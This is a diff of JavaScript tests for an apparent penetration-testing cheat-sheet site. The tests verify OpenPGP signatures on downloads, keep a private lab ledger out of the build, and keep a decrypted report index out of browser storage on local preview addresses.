+  assert.equal(partial.signed, false);
+  assert.match(partial.problems.join('\n'), /signatures are incomplete: 2 of 3 missing/);
+
+  writeFileSync(join(dir, 'b.zip.sha256.asc'), 'sig');
+  writeFileSync(join(dir, 'SHA256SUMS.asc'), 'sig');
+  const seen = [];
+  const complete = await verifyDownloads({ dir, records, fingerprint: FPR, verify: async (sig, file, fpr) => { seen.push([sig, file, fpr]); return true; } });
+  assert.deepEqual(complete, { problems: [], signed: true, files: 2 });
+  assert.equal(seen.length, 3);
+  assert.ok(seen.every(([sig, file, fpr]) => sig === `${file}.asc` && fpr === FPR));
+
+  const wrongKey = await verifyDownloads({ dir, records, fingerprint: FPR, verify: async (sig) => !sig.endsWith('SHA256SUMS.asc') });
+  assert.deepEqual(wrongKey.problems, [`SHA256SUMS.asc is not a good signature by ${FPR}`]);
+
+  // Real gpg, no fake: a file that is not a signature must not verify.
+  const real = await verifyDownloads({ dir, records, fingerprint: FPR });
+  assert.equal(real.problems.length, 3);
+});
+
+// ── The built site ──────────────────────────────────────────────────────────
+const dist = (path) => new URL(`dist/${path}`, repo);
+const downloads = new URL('public/downloads/pentest-workflow/', repo);
+
+test('the lab ledger is not in the source, the build or the publication list', () => {
+  assert.ok(!existsSync(new URL('src/content/sheets/pentest-workflow/loot.md', repo)));
+  assert.ok(!existsSync(dist('sheets/pentest-workflow/loot/index.html')));
+  assert.ok(!existsSync(dist('sheets/pentest-workflow/loot.html')));
+  const importer = readFileSync(new URL('scripts/sync-pentest-workflow.py', repo), 'utf8');
+  const slugs = importer.slice(importer.indexOf('SLUGS: dict'), importer.indexOf('NEVER_PUBLISH'));
+  assert.doesNotMatch(slugs, /loot\.md/);
+  assert.match(importer, /NEVER_PUBLISH: frozenset\[str\] = frozenset\(\{"loot\.md"\}\)/);
+});
+
+test('the built release passes its own checks', () => {
+  assert.deepEqual(checkSearchIndex(new URL('dist/pagefind', repo).pathname), []);
+  assert.deepEqual(findPrivateKeys({ dist: new URL('dist', repo).pathname, sheets: new URL('src/content/sheets', repo).pathname }), []);
+});
+
+test('the download page claims signatures only for signature files that exist', () => {
+  const page = readFileSync(dist('pentest-workflow/index.html'), 'utf8');
+  const published = new Set(readdirSync(downloads));
+  const linked = [...page.matchAll(/href="\/downloads\/pentest-workflow\/([^"]+\.asc)"/g)].map((m) => decodeURIComponent(m[1]));
+  for (const name of linked) assert.ok(published.has(name), `${name} is linked but not published`);
+  const catalogue = JSON.parse(readFileSync(new URL('src/data/pentest-workflow-downloads.json', repo), 'utf8'));
+  const complete = published.has('SHA256SUMS.asc') && catalogue.every((item) => published.has(`${item.name}.sha256.asc`));
+  if (complete) {
+    assert.match(page, /Signed attachment library/);
+    assert.equal(linked.length, catalogue.length + 1);
+  } else {
+    assert.doesNotMatch(page, /Signed attachment library/);
+    assert.doesNotMatch(page, /\d+ signed files/);
+    assert.match(page, /not OpenPGP-signed in this release/);
+  }
+});
+
+test('no sheet links to a signature file that is not published', () => {
+  const published = new Set(readdirSync(downloads));
+  const dir = new URL('src/content/sheets/pentest-workflow/', repo);
+  for (const name of readdirSync(dir)) {
+    const text = readFileSync(new URL(name, dir), 'utf8');
+    for (const [, file] of text.matchAll(/\]\(\/downloads\/pentest-workflow\/([^)\s]+\.asc)\)/g)) {
+      assert.ok(published.has(decodeURIComponent(file)), `${name} links ${file}, which is not published`);
+    }
+  }
+});

test/report-index-persistence.test.mjs

@@ -26,8 +26,8 @@ async function until(check) {
   assert.fail('The report index did not reach the expected state.');
 }
 
-async function browser(t, { cache, legacy, blocked = false } = {}) {
-  const window = new Window({ url: 'https://cheatsheet.daemon-sec.xyz/sheets/exploitation/sqlmap' });
+async function browser(t, { cache, legacy, blocked = false, origin = 'https://cheatsheet.daemon-sec.xyz' } = {}) {
+  const window = new Window({ url: `${origin}/sheets/exploitation/sqlmap` });
   for (const key of ['window', 'document', 'Element', 'location', 'history', 'localStorage', 'sessionStorage']) {
     globalThis[key] = window[key];
   }
@@ -118,3 +118,45 @@ test('navigating to an updated index clears the old visible order before restori
   assert.equal(b.panel().querySelectorAll('.report-index__list li').length, 0);
   await until(() => b.window.localStorage.getItem(CACHE_KEY) === null);
 });
+
+// A preview address is shared by whatever project is served there next, in the
+// same browser profile. The decrypted index must never be written to it.
+for (const origin of ['http://localhost:4321', 'http://127.0.0.1:4321', 'http://[::1]:4321', 'http://192.168.1.20:4321', 'https://preview.localhost']) {
+  test(`unlocking on ${origin} keeps the index in memory and out of browser storage`, async t => {
+    const b = await browser(t, { origin });
+    b.open(); b.importFile();
+    await until(() => b.status().startsWith('Unlocked until this page reloads'));
+    assert.match(b.status(), /a local preview never saves the index · 2 steps in CPTS order/);
+    assert.equal(b.panel().querySelectorAll('.report-index__list li').length, 2);
+    assert.equal(b.window.localStorage.getItem(CACHE_KEY), null);
+    assert.equal(b.window.sessionStorage.getItem(LEGACY_KEY), null);
+    assert.equal(b.window.localStorage.length + b.window.sessionStorage.length, 0, 'nothing at all may be stored');
+    // In-site navigation keeps the unlocked order; it lives in the page's memory.
+    b.window.document.dispatchEvent(new b.window.Event('astro:before-swap'));
+    b.window.document.body.innerHTML = markup;
+    b.window.document.dispatchEvent(new b.window.Event('astro:page-load'));
+    assert.match(b.status(), /Unlocked until this page reloads/);
+    assert.equal(b.window.localStorage.getItem(CACHE_KEY), null);
+    // A fresh page on the same origin starts locked: there is nothing to restore.
+    const next = await browser(t, { origin });
+    next.open();
+    await new Promise(resolve => setTimeout(resolve, 50));
+    assert.equal(next.status(), 'Locked');
+    assert.equal(next.panel().querySelectorAll('.report-index__list li').length, 0);
+  });
+}
+
+test('a preview removes an index an earlier version saved there and does not restore it', async t => {
+  const b = await browser(t, { origin: 'http://localhost:4321', cache: cached, legacy: cached });
+  assert.equal(b.window.localStorage.getItem(CACHE_KEY), null, 'the saved copy must be gone as soon as the script loads');
+  assert.equal(b.window.sessionStorage.getItem(LEGACY_KEY), null);
+  b.open();
+  await new Promise(resolve => setTimeout(resolve, 50));
+  assert.equal(b.status(), 'Locked');
+  assert.equal(b.panel().querySelectorAll('.report-index__list li').length, 0);
+  // Something else on the shared origin writing the key must not unlock this page.
+  b.window.localStorage.setItem(CACHE_KEY, cached);
+  b.window.dispatchEvent(new b.window.StorageEvent('storage', { key: CACHE_KEY, newValue: cached }));
+  await new Promise(resolve => setTimeout(resolve, 50));
+  assert.equal(b.status(), 'Locked');
+});